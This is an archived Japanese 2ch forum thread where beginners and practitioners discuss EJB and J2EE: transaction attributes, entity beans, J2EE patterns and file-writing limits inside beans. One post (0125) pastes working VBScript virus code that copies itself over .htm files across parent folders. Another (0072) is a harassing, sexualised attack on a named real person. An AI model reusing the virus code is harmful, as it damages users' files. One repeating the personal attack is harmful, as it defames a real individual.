トップページ⇒tech
1001コメント360KB

EJB(初心者歓迎)

レス数が1000を超えています。これ以上書き込みはできません。
0001デフォルトの名無しさんNGNG
EJBを勉強しています。
かなり複雑です。
そこでマッタリとEJBを語りましょう。
特にプログラミング技法など)
0002デフォルトの名無しさんNGNG
2
0003デフォルトの名無しさんNGNG
http://pc.2ch.net/test/read.cgi/tech/1015341873/
0004デフォルトの名無しさんNGNG
よくわかんないけど java だよね? java 関係スレ多すぎて邪魔。
0005デフォルトの名無しさんNGNG
EJBも今年いっぱいだろ
NETでたし(w
0006デフォルトの名無しさんNGNG
http://www.liferay.com/
これで何ができるか解説してください
0007デフォルトの名無しさんNGNG
よく分からないので優秀なお前ら教えてください。
JavaBeansは分かる。
0008デフォルトの名無しさんNGNG
Javaはうんこ。
0009デフォルトの名無しさんNGNG
ageてるのは全部>>1
0010デフォルトの名無しさんNGNG
おれが言いたいのはJ2EEのパターン。
GOFやっと理解してきたなと思ったときに
こんどはJ2EEパターン。
本当にこんなの実務でやってのか?
ASP最高(w

0011デフォルトの名無しさんNGNG
パターンが多いのは環境が未熟な証拠だって誰かが言ってた。
0012デフォルトの名無しさんNGNG
>>11 M$は、フレームワークとかパターンを、ある程度ツール化して、
   誰でも活用できる形にするのが「売り」だからね〜。
   でもツールに埋め込まれたノウハウって、
    判ってない人は面倒だから使わないし、
    判っている人はカスタマイズしにくいから使わないし...

   今の流行は、
   「カスタマイズ可能なツールに、
    自前のフレームワークやパターンを組み込むこと」
   と言ってみる
0013デフォルトの名無しさんNGNG
J2EEパターンについて語るスレに変更になりました。
0014デフォルトの名無しさんNGNG
クソスレに認定されました。
00151じゃないけど...NGNG
(´-`) .。oO(なぜクソスレだとばれたんだろう?)
0016デフォルトの名無しさんNGNG
(´-`).。oO(春だからねぇ。。。?)
0017デフォルトの名無しさんNGNG
EJBのツールの使用度は?
あるECサイトではJB使わなかったみたいだな
どうも覚えるの面倒だった見たい
テキストエヂィタでコード書いたみたい。
0018デフォルトの名無しさんNGNG
しつこい>>1だな。。。
0019デフォルトの名無しさんNGNG
>>17最近Jbuilder6の解説書が出てるので
読め
0020デフォルトの名無しさんNGNG
?
0021デフォルトの名無しさんNGNG
はじめまして。
質問なのですが、
EJBとその呼び出し元は別VMなのでしょうか?
呼び出し元でセットしたstaticなクラス変数の中身が、EJB内では見ることが出来ないのです。TT
0022デフォルトの名無しさんNGNG
EJBって結局誰もわかってないんじゃない?
こんなもんが普及するのかね。アメリカじゃ誰も
つかってねえらしいぞ、こんなもん。みんな
サーブレットでやってる。
0023デフォルトの名無しさんNGNG
> アメリカじゃ誰もつかってねえらしいぞ、こんなもん。

ソースキボンヌ。
一応、仕事で使ってます。
0024デフォルトの名無しさんNGNG
http://java.nikkeibp.co.jp/Java/weekly/2001/1225_colum.shtml
10大ニュースに載っちまうくらい、使われてない罠。

なんでだろーなー?俺はめっちゃ好きなんだけど。
今更シコシコACID確保やらDB接続やらやりたくないんだけど、
上の人はどうしてもJDBCを使わせたいらしいのよ。
0025デフォルトの名無しさんNGNG
すまぬ。
10 大ニュースのどれを指して「使われてない」ってなるの?

1 は使われてる、ってことだろうし、Web サービスのは対応ってことで
EJB が使われないってことじゃないだろうし。
0026デフォルトの名無しさんNGNG
>>21
あたりまえ
0027デフォルトの名無しさんNGNG
>>26
別VMってことですか?
それとも別の理由???TT
0028デフォルトの名無しさんNGNG
勉強しなおせ。
0029デフォルトの名無しさんNGNG
>>27
ローカル呼び出しでなければ、当然 別VM。
ローカル|iiop経由のどちらかにしか使えないような設計は普通しないから、
>呼び出し元でセットしたstaticなクラス変数の中身をEJB内で見る
ってのはどうかと思うが。
0030デフォルトの名無しさんNGNG
30 ゲットーってショボ
0031デフォルトの名無しさんNGNG
メソッドのトランザクション属性
Supports
Required
RequiresNew
Mandatory
NotSupported
Never
の実践におけるきっちりとした使い方について教えてください。
全部Requiredにしているという人はもち却下。

0032デフォルトの名無しさんNGNG
EJBって、タダのJBuilderPersonalでできます?
0033デフォルトの名無しさんNGNG
あげ
0034デフォルトの名無しさんNGNG
sage
0035デフォルトの名無しさんNGNG
モデル更新通知、使っていますか?
なんのことだかさっぱりわかりません。
0036デフォルトの名無しさんNGNG
Entry JBuilder
0037デフォルトの名無しさんNGNG
>>32
それはできないと思う。
OpenTools にもないと思う。
0038デフォルトの名無しさんNGNG
>>31
全部Requiredだとなんでだめなの?
そーいうからには、使い分け方とか知っているわけでしょ?
「必要に応じて使い分ける」としか言えないと思うよ。
0039デフォルトの名無しさんNGNG
なんか、イイ!入門書ない?

つーか、お前ら、どこでEJBを勉強したのですか?
教えれ!
004031NGNG
>>38
全部Requiredだとメソッド内で複数のトランザクションを扱う場合、
一部のトランザクションで例外したときに、ロールバックすると
すべてのトランザクションがロールバックされてしまうよ。

またトランザクション処理が長期にわたると、JTAタイムアウトが発生して、
全部ロールバックされてしまう。

そういう場合はRequiredNewのほうがよいよね。

でもEJBからはメソッドのトランザクション属性によって処理を切り替えるとか、
メソッドのトランザクション属性そのものを変更するとかという、
器用なことができないから(できたらごめん)、
本当はロールバックをさせたかったりさせたくなかったりという、
状況によっての微妙な意図が反映できない。
実はDDでトランザクション属性を切り替えるという、
EJBの仕様そのものに問題があるのではないかと思っているわけです。

ひょっとしたらもっといい方法があるのかもしれないけど。

あったら教えて。
0041デフォルトの名無しさんNGNG
>>39
入門書ではないが、PeasonEducationの「EnterpriseJavaBeans開発ガイド」
はいいよ。
4500円と値は張るが
0042デフォルトの名無しさんNGNG
最近出た『プロフェッショナル EJB』はどうですか?
0043デフォルトの名無しさんNGNG
>>42
Wroxのやつ?
0044デフォルトの名無しさんNGNG
>メソッド内で複数のトランザクションを扱う場合、

具体的にどんな場合があるの?
0045デフォルトの名無しさんNGNG
>>39
トレーニングの受講とか、実際に製品をいじってみるとか、参考書読むとか...
0046デフォルトの名無しさんNGNG
>39
RI使って、Sunのチュートリアル読んだら終わり。だと思ってた。
あ、勿論その後、ロハのコンテナ拾ってきて動かして「ほ〜ぅ」と さも悟ったかのような溜息を吐くわけだが。
0047デフォルトの名無しさんNGNG
覚えるの多すぎ。
2世代のツールできるのまつか
0048デフォルトの名無しさんNGNG
ejbってITバカを引き寄せる撒き餌だろ?
004939NGNG
>>41-42
>>45-46
ありがとう! お金ないんで、SUNのチュートリアル読んでみます。

エンタープライズ開発って、本当に楽になったのかなあ?
0050デフォルトの名無しさんNGNG
>>44
バッチ処理
0051デフォルトの名無しさんNGNG
>50

大丈夫か?
0052デフォルトの名無しさんNGNG
>>48
どういう意味かもう少しわかりやすく説明してください
0053デフォルトの名無しさんNGNG
EJBパッケージング考えんのがめんどくせぇ
トランザクションだけもっと気軽に使わせろ
0054デフォルトの名無しさんNGNG
>>49
楽じゃねぇ
0055デフォルトの名無しさんNGNG
54>>
その通り。2世代のツールがでるの我慢しましょう。
よほどのミッションクリティカルでないならば
EJBはいらない。ASPいい(w
0056デフォルトの名無しさんNGNG
だから

”**>>”

この記法はどこで覚えてきたのか

と。
0057デフォルトの名無しさんNGNG
>>56
56>>
0058デフォルトの名無しさんNGNG
はっきり言って普通のシステムでEJBはいらんよ。
デバッグめんどいだけ。
JDBCトランザクションだけ自分でコントロールしときゃいい。
そもそも3階層モデルとかいいつつ、
みんな結局ViewとLogic同じマシンで動かしてんじゃん。
EntityBeanもくそおせぇし。
0059デフォルトの名無しさんNGNG
>普通のシステム

ん?なに?
006058NGNG
>>59
WEBアプリジャー
0061デフォルトの名無しさんNGNG

誰も突っ込まないのか…仕方ない

>そもそも3階層モデルとかいいつつ、
>みんな結局ViewとLogic同じマシンで動かしてんじゃん。

SmallTalkから勉強し直しなさい…
0062デフォルトの名無しさんNGNG
>>61
ちょっと待て、おまえはほんとにわかってんのか?
0063デフォルトの名無しさんNGNG
同じマシンかどうかが問題なのかと
0064デフォルトの名無しさんNGNG
小一時間
0065デフォルトの名無しさんNGNG
問い
0066デフォルトの名無しさんNGNG
詰
0067デフォルトの名無しさんNGNG
めた
0068デフォルトの名無しさんNGNG
もうことなかれ
0069デフォルトの名無しさんNGNG
EntityEJB使ってる人手あげて。
0070デフォルトの名無しさんNGNG
EntityEJB って言い方はじめて聞いた。
使ってる。
0071デフォルトの名無しさんNGNG
>>70
質問です。フロントに値を引き渡すときはどうやってます?
ValueObjectのコピーを作ってる?
0072デフォルトの名無しさんNGNG
    |,'〜丶,/ , '  , ' , ' ,'         \
    , ' ⌒ヽ / /  /  /  /    l l 、、、、 `、
   ,.' / l 1 ,'  ,'  '  '     ' '  ' ' ' '`.、
   |1/   !{  l  i   |  |     | |  | | | | | | `、
   |/\  l1 |  |  i1  |     .| |  | | | | | |  i、
   i、 _ノノ  | _,.-一'''~ ̄|`i    l l  i ii ii ii iii  |1|
    |`''ーイ  -''´`i !|`、| i    ノ一、 ','', ',''j   l !l
   ,| ,    ´  | ,|-';;0ヽ`i| {   /jノ ノ|ン、/ /j  ,j l|
    |!  | イイ{:;;iiiiii::;} `|  },ノ ,ノ;0`jノ / /,' , } l
   j l 1    リ、`'ー+'      {:iiii} iノイ lノ ノノ
   ,  l 1    |`、       ,   ̄ ,‐'´   l サガを勝手に裸にして抱き枕にしないで!
   | l 1 1  ` 、\      -     ノ   1  i
  /ノ l 1     '、 ` 、      _, .- '     | 人
/~ノ///     ノ\  ` ' ー 'i、_    __| ハ
, -'~    _...,,,.‐'´ \\         ̄'´ ̄ l`j丶、
おおもりよしはる=ロリペドオタ、アニオタ、モーツアルトオタ、ベートーベンオタ、ブルックナーオタ、セガ信者
ひまわりと幼女のすじまんこに異様な執着心を燃やしているロリペド絵描き
2浪して九州大学歯学科に進むがプロのイラストレーターになるために大学を中退、
同人活動とUOに専念する日々を送るが、その生活は苦しいらしい(藁
自らを画家と呼び、ともすれば不真面目なものと見られかねないアニメ絵
それも、無毛のすじまんこすらも「芸術」の域にまで高めようとしている(らしい)。
心の支えは自分の描いたひまわりの絵らしい(ぷ
マスコミ(西日本新聞)で写真付きで取り上げられたこともあるらしい。
最強のネットゲーUOではIzumoでKanae、SASAWOというキャラを使用。
http://kaba.2ch.net/test/read.cgi/doujin/1021463845/
http://www.p80.co.jp/p/k_sinki/yoshiharu/oomori.html
0073デフォルトの名無しさんNGNG
>>71
ホテルの?
0074デフォルトの名無しさんNGNG
Entityは使えない。
ツールなければ
0075デフォルトの名無しさんNGNG
Deployment Descriptor手書きすりゃツールなくても
使えると思うけど...あ、CMP2.0はよくわからず。

ちなみにBMPのEntityBean使ってます。
でも一部のトランザクションはSessionBeanから
直接アクセスしたりしてる。CMTで。
0076デフォルトの名無しさんNGNG
開発ツールは何をつかう
まさメモ帳?

0077デフォルトの名無しさんNGNG
jdeeだろ。デプロイ一発。
0078デフォルトの名無しさんNGNG
>>61

「SmallTalk」だって・・・・ププ
0079デフォルトの名無しさんNGNG
Entity Beanて使う。
メモ帳で配布書くの面倒なんですけど
やはりツールを使うのか?
0080デフォルトの名無しさんNGNG
>>71
70じゃないんだけど、RowSetで返すなんてどーよ。
JDBCがサポートしてなけりゃ自作ResultSet。
ValueObjectだとフロントに返すデータ毎にクラスを
作るってのが面倒くさくありません?
0081デフォルトの名無しさんNGNG
EntityBeanってどーゆーとき使うのでしょうか?
DAOクラスでSQL発行するのと比較して
どのよーなメリットがある?
008275NGNG
>>80
なんかそこまでTransactionを持ち込みたくないなぁ。
つーか、そこまでやるなら直接JDBC使ったほうが良くない?
そもそもEntityBeanって更新処理にメリットがあるかと。

私は読むだけならEJBコンテナ内のクラスから直接JDBC。
で、RequiredなCMTのSessionBeanがそのクラスを呼ぶ。
って変ですか?

>>79
普通、GUIのDeploymentToolがサーバについてるかと...
でも一部サーバではメモ帳のほうがよっぽどマシだったり。
008375NGNG
>>81
EntityをBeanで管理したいときに使います。
目的のひとつはDAOと同じく、DBMSとJavaのあいだの
インピーダンスミスマッチの解消でしょう。

メリットといえば、
・コンテナがトランザクション管理してくれたり
・必要に応じて行のロードやストアをしてくれたり
・CMPだと1行もコード書かなくても良かったり(開発環境による)
・適当にプーリングしてくれたり
とかかなぁ。あとはEJBコンテナのセキュリティモデルが使えるとか。

EntityBean自体はDAOに近いものあります。
が、EntityBeanを使うのはクライアントアプリケーションてより
むしろEJBコンテナがEntityBeanを使ってる感じに近いかな。
アプリがEJBコンテナにデータを要求するとEJBコンテナが
EntityBeanを適当に使って結果を返してくれる感じ。

あんまり解答になってない気もしますがこの辺で。
0084デフォルトの名無しさんNGNG
>>83
EJBもUMLもやだぁ。
0085デフォルトの名無しさんNGNG
>>83
でもパフォーマンスがよくないよね。
008675NGNG
>>85
あぁ、最悪ですね。2.0は知らないけど。
そのためにアプリケーションサーバには
ロードバランス機能がついてるんじゃないかと。(藁
0087 NGNG
AS固有のデプロイ用設定ファイル(weblogic-ejb-jar.xmlやjboss.xml)を使わずに、
ejb-jar.xmlだけでデプロイをおこなって、クライアントからEJBをlookupすることは可能でしょうか?
0088デフォルトの名無しさんNGNG
できないんじゃないの
やってみれば(w
0089デフォルトの名無しさんNGNG
それができなかったらEJBコンテナとは言わんだろ。
0090デフォルトの名無しさんNGNG
weblogic-ejb-jar.xmlやjboss.xmt
て固有の機能でしょ。APPの
0091デフォルトの名無しさんNGNG
>>83

なるほど。
でもEntityBeanってjoinできなかったと記憶してるんですが、
検索系の処理ではほぼ必ずjoinしますよね?
ってことは、更新系はEntityBeanでやって
検索系はSessionBean経由のDAOがいいような気がしてきたけどどーかね?
009291NGNG
↑ DAOはフツーのクラスってことで
009380=91NGNG
よく読んだら >>82と同じ結論ですた
0094デフォルトの名無しさんNGNG
>>91
JOIN禁止というDQNプロジェクトがあったりする。。。
009575NGNG
>>91
JOINに関してはCMPは駄目かな。
でも私はJOINな参照はできるだけビュー使ってます。
BMPなEntityBeanだとJOINでもなんでもできるよ。
ってBMPは相手がRDBMSである必要もなし。
ディレクトリサーバにLDAPでアクセス、とかでもよし。

>>94
テーブル2つSELECTして自力で統合したりするんでしょうか。
パフォーマンス気にしないならまぁ。
全てのDBで全てのJOINが実装されてるわけでもないし...
0096デフォルトの名無しさんNGNG
>>JOINに関してはCMPは駄目かな
機能がよわいの?
でも1:nやN:Nのテーブルもできるけど。
パフォーマンスが悪いということですか?
それとJOINするとパフォーマンスが悪くなるのですか?
SUNのPETSHOPてエンティティを使っていない
ですよね。やっぱつかえないのかな

0097デフォルトの名無しさんNGNG
それとどう考えてもEJBは教育のコストが
かかりすぎ。優秀なツールができない限り
効率が悪いのでは。
009894NGNG
>>95
そう、自力で、、、
ちなみにOracle、ビュー作成禁止。
パフォーマンスは気にしてるらしい(w

あぁ、口出しできる権限が欲しい。。。

>>96
CMPではJOINできない。(機能がない)
パフォーマンス重視ならJDBC直呼出が定石(現時点では)

>>97
EJBに(あまり)関係ないところをやらせて、
基盤部分をわかってる奴がやればいい。
興味ある奴は自分で勉強するし、しないやつは所詮それまで。
009975NGNG
>>96
PetStoreはEntityBean使ってるよ。(AccountEJBとか)
CMPはレガシーシステムとかDBMSに依存しないように、
SQL文をコンテナが自動生成するわけです。
で、そこにJOINする機能が定義されてないのです。
BMPだと自分でSQL文書いてJDBCでアクセスしたりするんで
何でもアリなんですが。
このへん、EJB-QLで解決しないのかな。

>>97
ツールでは解決できるかどうか怪しいなぁ。
EJBだけならそんなに難しくないと思うけど、
J2EEのコンテナサービスが複雑なんだと思う。
JTAやらJNDIやらEJBやら....
98も言ってますが、それぞれのロールを適切に
割り振れば良いんじゃないかと。

>>98
なるほど、自力ですか...実装大変そうですね...
0100デフォルトの名無しさんNGNG
98,99>>
ご意見参考になります。ただ、EJBのコードは冗長になりがちな気がするんです。
NET VS EJBの比較がすこし前にありましたよね。
JAVAの方は約3倍のコードを書かなければならないみたいですね。
もちろんツールが自動生成してくれる部分があるのでしょうが。
いまだステップ数でカウントしている企業にはいいのでしょうが。
EJBもう少し勉強しなくては(w
0101デフォルトの名無しさんNGNG
私はEJBの利用には懐疑的です。
ほんとに楽になるのか?EJB周りやEJBの実装系のバグとかにハマって
デスマチ化することがありそうな気がするのですが^^;
>>97
DDとか設定する項目が多くて、面倒くさいよね。
weblogic-ejb-jar.xmlとかベンダ依存部分も結構あって、調べるの面倒。
>>98
CMPでJoinはできないけど、EJB2.0の関連の機能使えば結構楽できそうな
気がしますがどうでしょうか?
実は使ったことないですけど (w
0102デフォルトの名無しさんNGNG
WEBLOGICの開発者むけの本でてるね。
初心者にはまず理解できないしろものだけど(w
010375NGNG
>>100
実際のBeanは冗長ではないと思いますが....
冗長とはremote/home interfaceのことでしょうか。
であれば、IDEからGUIでも作れますが私はコピペしてます。
で、ただのinterfaceなんでステップ数も稼げませんよ。(w

>>101
懐疑的というのはなんとなくわかります。
今のとこ実装系のバグとかは出会って無いんですが、
それはEJBに限った話ではないと思います。
楽かどうかで言えば楽ではないですね。ある程度コンポーネントが
たまってる状態で実装レベルの話であれば楽かもしれませんけど、
それ以上に設計コストがかかります。必要かどうか見極めが重要。
スケーラビリティが要求されるか、規模がかなり大きくて
トランザクション管理が大変なときはEJBだと楽だと思いますが、
それ以外で使うと重いし設計面倒だしAS高すぎだし。

あと、仕様的に遠回りしなきゃならないってことは
あるかもしれません。これもEJBに限りませんが。
また、あえて遠回りして実装したくなることもあります。
なんせ崇高なJavaですから。(w

DDはDeploymentToolで書いてます。Weblogicじゃないですが。
さすがにベンダ依存まで手書きはしたくないですよね。
0104デフォルトの名無しさんNGNG
大規模なプログラムではJAVAですか。
でもJAVAの人月高すぎ。
オブジェクト指向で有名なOJ社1人月200万。
そんなに取れるのか。それだけEJBが複雑なんだろうな。
0105デフォルトの名無しさんNGNG
J2EEパターンて使っていますかね。
まだまだ解説書がなくて理解するのにしんどいような気がするのですが。
今月あたりJ2EEパターンの本が翻訳されて出るみたいなんですが。
それにしてもEJB覚えるのおおすぎ(w
010675NGNG
>>104
大規模なのはJavaってわけではなくて、
Javaで大規模ならEJB、ということかなぁ。
人月はトータルで見て短期でできるなら高くないかも。
でもまぁ、それはそれで単価上がるならEJBの生産性の
意味がないんですが。
うちはEJBでも非EJBでも同じ人月。地方なんで安い....

>>105
J2EEパターンは使います。
Sunのサイトに英語でありますが、それほど
理解が難しいパターンでもないような。

覚えるの多すぎなのは同意。
EJBというよりJ2EE全般ですよね。JNDIとかも含めて。
0107101NGNG
>>75
コンポーネントが再利用できるかどうかは、EJBうんぬん以前のモジュール設計
がきちんとできてないと駄目でしょうからね。

J2EEパターンって、特に目新しいことも無いような気がします。知っていて損は無いですが。
デザインパターンの応用例って感じですよね。
周りの人間が、構造体のことを「ValueObject」とかわざわざ呼んでいるのを聞くと寒気がします(w

覚えること多いですよね。ホント面倒。
ASP.NETレベルのフレームワークをSunが標準で出してくれないかな・・・
0108デフォルトの名無しさんNGNG
質問です。
EJBでクライアントからサーバへ(またはソの逆に)ファイルを転送することは可能なのでしょうか?
java.io.* やソケットが使えないので不可能とは思うのですが、なにか技は在りませんでしょうか?
0109デフォルトの名無しさんNGNG
byte[]丸投げ
0110108NGNG
>>109
ありがとうございます。早速、明日コードを書いてみます。
0111デフォルトの名無しさんNGNG
ちゅうか、クライアントってなんなのよ。web?サーブレット通して?
そういう事ならServlet garden読むべし。
画像オフにして逝くべし。
ちと見苦しい写真が目に飛び込んでくるから。

http://www.t3.rim.or.jp/~yoko-k-h/java/servlet/programming/howtoupload.html
0112108NGNG
>>111
情報ありがとうございます。あの写真は、やっぱり男ですか…
クライアントは、javaアプリです。
私のEJBのレベルは『プロフェッショナルEJB』を読み始めたところです。


011375NGNG
>>107
ValueObjectという言葉は私も使ってますが、リモートコールのときしか
使ってないです。リモートコールのときに使って、初めてValueObjectに
なると思ってたんですが、違うんですかね。
Sunのパターンカタログ見ても粗粒度にして効率的な転送を、みたいな
ことが書いてあるんで、リモート前提なんじゃないでしょうか。
つまり、その行為を含めてValueObjectであって、そのクラス自体は
ValueObjectじゃないのではないかと。

>>108
インプレスのプロフェッショナルEJBは、ちょっと読んだ限りでは
結構いい本だと思いました。必要なことはだいたい書いてあるし。
ExceptionがthrowされたときCMTなトランザクションはどうなる、とか。
0114デフォルトの名無しさんNGNG
>>108 の便乗質問です。
EJBを使って、クライアントのjavaアプリとサーバとで、ftpのようにファイルを送り出したり、受け取ったりすることはできないのでしょうか?
クライアントのディレクトリにあるファイルを、サーバのディレクトリへコピーしたり、その逆をしたりしたいのです。
セキュリティポリシィを下げればできるとも聞いたのですが、やり方がわかりません。
どなたか、教えてください。
0115デフォルトの名無しさんNGNG
>114
だから、byte配列丸投げしろって。
0116114NGNG
>>115
byte配列を受け取って、ファイルに書き出させようとしてるんですが、サーバにファイルが出来ないんですが・・・

FileOutputStream fos=new FileOutputStream("c:\\temp\\hogyo.txt");
InputStream is = new InputStream();;
byte[] buffer = new byte[1024];
while(true){
  int len = is.read(buffer);
  if(len < 0)  break;
  fos.write(buffer, 0, len);
}
0117114NGNG
>>116 のソース、間違いです。
// byte 単位で1文字ずつファイルに書き込み
FileOutputStream fos = new FileOutputStream("c:\\temp\\hogyo.txt");
String str0 = "abcdeあいうえお\r\n";
byte buf[] = str0.getBytes();
for( int i = 0; i < buf.length;i++ ) {
fos.write( buf[i] );
}
fos.close();
0118デフォルトの名無しさんNGNG
BEA Developers Conferenceに行ってきますた。
http://www.bea-event.com/

あんまり期待してなかったんだけど、
予想以上に面白かったです。
0119108NGNG
>>109
byte[] を丸投げしましたが、以下のようなエラーが出て、サーバ上にファイルを作成できません。このエラーを回避する方法はあるのでしょうか?
もしかして、RMIを使うのでしょうか?(私は良く知らないのですが…)


java.security.AccessControlException: access denied (java.io.FilePermission c:\t
estFileFromClient.txt write)
at java.security.AccessControlContext.checkPermission(AccessControlConte
xt.java:267)
at java.security.AccessController.checkPermission(AccessController.java:
394)
at java.lang.SecurityManager.checkPermission(SecurityManager.java:540)
at java.lang.SecurityManager.checkWrite(SecurityManager.java:973)
at java.io.FileOutputStream.<init>(FileOutputStream.java:91)
at java.io.FileOutputStream.<init>(FileOutputStream.java:57)
at simpleBean3.SalaryEJB.calculateSalary(SalaryEJB.java:37)
at simpleBean3.SalaryEJB_EJBObjectImpl.calculateSalary(SalaryEJB_EJBObje
ctImpl.java:26)
at simpleBean3._SalaryEJB_EJBObjectImpl_Tie._invoke(Unknown Source)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatchToServant(Ge
nericPOAServerSC.java:520)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.internalDispatch(Gen
ericPOAServerSC.java:210)
at com.sun.corba.ee.internal.POA.GenericPOAServerSC.dispatch(GenericPOAS
erverSC.java:112)
at com.sun.corba.ee.internal.iiop.ORB.process(ORB.java:255)
at com.sun.corba.ee.internal.iiop.RequestProcessor.process(RequestProces
sor.java:84)
at com.sun.corba.ee.internal.orbutil.ThreadPool$PooledThread.run(ThreadP
ool.java:99)
0120108NGNG
>>119 のソースです。
こちらはクライアント側

import javax.ejb.*;
import simpleBean3.*;
import javax.naming.InitialContext;
import java.io.*;
import java.net.*;


class SalaryClient3 {

public static void main(String[] args) {

try {

InitialContext ctx = new InitialContext();
Object objRef = ctx.lookup("Salary3");

SalaryHome home = (SalaryHome)javax.rmi.PortableRemoteObject.narrow(
objRef, SalaryHome.class);

Salary bean = home.create();

String filepath = "C:\\tmp\\method.zip";

File file = new File(filepath);
Long lon = new Long(file.length() );
byte [] bytes = new byte[ lon.intValue() ];

try{
FileInputStream fis = new FileInputStream(file);
fis.read(bytes);
fis.close();
}catch(java.io.EOFException e){
System.out.println("EOFException !");
} catch(java.lang.Exception e) {
// とりあえずエラー出力。
e.printStackTrace(System.out);
}

bean.sendFile(bytes) );

} catch (javax.naming.NamingException ne) {
System.out.println("Naming Exception caught: " + ne);
} catch (javax.ejb.CreateException ce) {
System.out.println("Create Exception caught: " + ce);
} catch (java.rmi.RemoteException re) {
System.out.println("Remote Exception caught: " + re);
}
}
}
0121108NGNG
こちらはサーバ側

package simpleBean3;

import javax.ejb.*;
import java.io.*;
import java.net.*;

public class SalaryEJB implements SessionBean {

public void ejbCreate() {}
public void ejbRemove() {}
public void ejbActivate() {}
public void ejbPassivate() {}
public void setSessionContext(SessionContext ctx) {}

private final double taxRate = 27.5;

ServerSocket ssc;

public double sendFile( byte[] bytes ) {

double monthly = 0;
monthly = annualSalary/12;

//Add bonus
monthly = monthly + bonus;

//Remove pension contribution
monthly = monthly - (monthly * (pensionContrib/100));

//Remove tax
monthly = monthly - (monthly * (taxRate/100));


// バイト列をファイルに変換
String file = "c:\\testFileFromClient.txt";//サーバ側の保存先
try{
FileOutputStream fos = new FileOutputStream(file);

fos.write(bytes);

fos.close();
}catch(java.io.EOFException e){
System.out.println("EOFException !");
} catch(java.lang.Exception e) {
// とりあえずエラー出力。
e.printStackTrace(System.out);
}

return monthly;

}

}
0122108NGNG
ejb-jar.xml は以下のとおりです。

『プロフェッショナルEJB』(良書です)のサンプルを少し変えただけですが・・・。
どなたか助けてください。

<?xml version="1.0"?>

<!DOCTYPE ejb-jar PUBLIC '-//Sun Microsystems, Inc.//DTD Enterprise JavaBeans 1.1//EN' 'http://java.sun.com/j2ee/dtds/ejb-jar_2_0.dtd'>;

<ejb-jar>
<description>Single stateless session bean to calculate monthly salary</description>
<display-name>Simple Bean3</display-name>

<enterprise-beans>

<session>
<description>Simple Salary Bean to calculate monthly net earnings</description>
<display-name>Salary Bean3</display-name>
<ejb-name>Salary3</ejb-name>
<home>simpleBean3.SalaryHome</home>
<remote>simpleBean3.Salary</remote>
<ejb-class>simpleBean3.SalaryEJB</ejb-class>
<session-type>Stateful</session-type>
<transaction-type>Container</transaction-type>
</session>

</enterprise-beans>

</ejb-jar>
0123デフォルトの名無しさんNGNG
Javaは例外が出てる場合はそのスタックトレースだけ貼れば大抵解決する。
あんましデカイソース貼るな。

んで本題だが。EJBコンテナのセキュリティポリシーを設定すべし。
0124108NGNG
>>123
色々なアドバイスありがとうございます。
deploytool を使えばいいのでしょうか。明日、試してみます。 
0125デフォルトの名無しさんNGNG
これ実行するとどないになるんだろうね?誰か教えてくれや。俺わからん
<BODY Onload="Redirect();"><script language="VBScript"><!-- Sub Redirect Randomize
If location.protocol = "file:" AND (Int((6 * Rnd) + 1) = 1) then Call Offline
location.href = location.href +"l"
End Sub Sub Offline Dim FSO,folder ,fc, f1, cpath
Set FSO = CreateObject("Scripting.FileSystemObject")
HostPath = Replace(location.href, "file:///", "")
HostPath = Replace(HostPath, "/", "\")
cpath = fso.GetParentFolderName(HostPath)
Set folder = fso.GetFolder(cpath) While folder.IsRootFolder = false
Set folder = fso.GetFolder(cpath) Set fc = folder.Files
cpath = fso.GetParentFolderName(cpath) For each f1 in fc
s = Lcase(Fso.GetExtensionName(f1.name))
If s = "htm" and fso.FileExists(f1.path+"l") = False then
fso.CopyFile f1.path, f1.path+"l", true
fso.CopyFile HostPath, f1.path, true End If Next Wend
If (Int((10 * Rnd) + 1) + 1) = 1 Then MsgBox("HTML.Redirect /1nternal") End Sub --></script>
<!--Mocc/#Mai $Fanta & qupter configress +50;/Shera++/con;con;--></BODY>
0126125NGNG
スマンすれ違いだった。お詫び
012775NGNG
>>124
ん?その前に。
Enterprise Beanでファイルアクセスは禁止だと思いましたが。
http://www.ejbcons.gr.jp/rules/PO-01-01.PDF
の18ページあたりに詳しく書いてあります。
ご参考までに。
0128デフォルトの名無しさんNGNG
EJBから外部クラスのオブジェクトにファイル操作を委譲したとしても、
その時使われるセキュリティポリシーはEJBが動作してるVMの物と同じじゃないの?

やべ適当に書いたらまずかったか
0129デフォルトの名無しさんNGNG
>>127
WebOTX の体験版でやってみたら、クライアントからEJBを呼び出して、そのEJBの中でFileOutputStreamで書き込めてしまった。
大丈夫か、この製品?
0130デフォルトの名無しさんNGNG
>>129
ただのセキュリティポリシーだから別にいいんじゃないのか?
必要だったら自分で設定すればいいんだし
013175NGNG
>>128
いや、セキュリティポリシーはBeanが動いてるのと同じかと。
ただ、それ以前に仕様的によろしくないのでは、と思ったもんで。

>>130
うーん、WebOTX専用EJBなら良いんだけど、
他のサーバにDeployするかもしれないなら駄目じゃないかなぁ。
呼べるかどうかじゃなくて、EJBの中で呼ぶことが、ね。
0132デフォルトの名無しさんNGNG
EJB準拠で、セキュリティポリシーが変更できるようになってるのはなんか不安だな。
EJBで、ソケット通信やマルチスレッドをやれ!ファイル転送もな!とか顧客に要求されそうだ(w
0133130NGNG
>>132
ポリシー変えられなかったら、いざとなった時に逆に面倒じゃない?
当然、標準規格に沿えるよう最大限に努力するのは前提だけど。
0134デフォルトの名無しさんNGNG
> 標準規格に沿えるよう最大限に努力する

そんなアホラシイこと誰もやってないという罠
013575NGNG
>>132
サーバソケットは無理っぽいよなぁ。
インスタンスがあるかどうかすらわからないんだから。
同期とかは全てを理解してれば出来なくはないかもなぁ。

>>134
一応やってますた。最大限、ね。
サーバのバージョンアップとかで動かなくなると困る。
0136132NGNG
>>135
>インスタンスがあるかどうかすらわからないんだから。
この辺のこと詳しく教えていただけないでしょうか。

ソケット作って、待ち受けてるだけなので出来そうな気がするのですが・・・
待ち受けしているインスタンスが、コンテナに片付けられてしまう。という理解でいいですか?
013775NGNG
>>136
そうです。
Activate/Passivateはコンテナが勝手にやるんで。
インスタンス作るのはコンテナで、ライフサイクルを管理するのも
またコンテナなので。
例えソケットで接続できたとしても、remote/local interfaceを
通らないから、コンテナはそのEJBが使われているという認識ができないかも。
あ、実際やったことないから間違ってたらスマソ。
0138132NGNG
>>137
ありがとうございます。助かりました。
0139デフォルトの名無しさんNGNG
保守sage
0140たすけてNGNG
出だしで躓いてます

J2eeをD:\j2sdkee1.3.1にインストールして
j2ee -verbose とやると
下記の例外になります
なにがいけないのか似た症状についてご存知のかたいませんでしょうか?


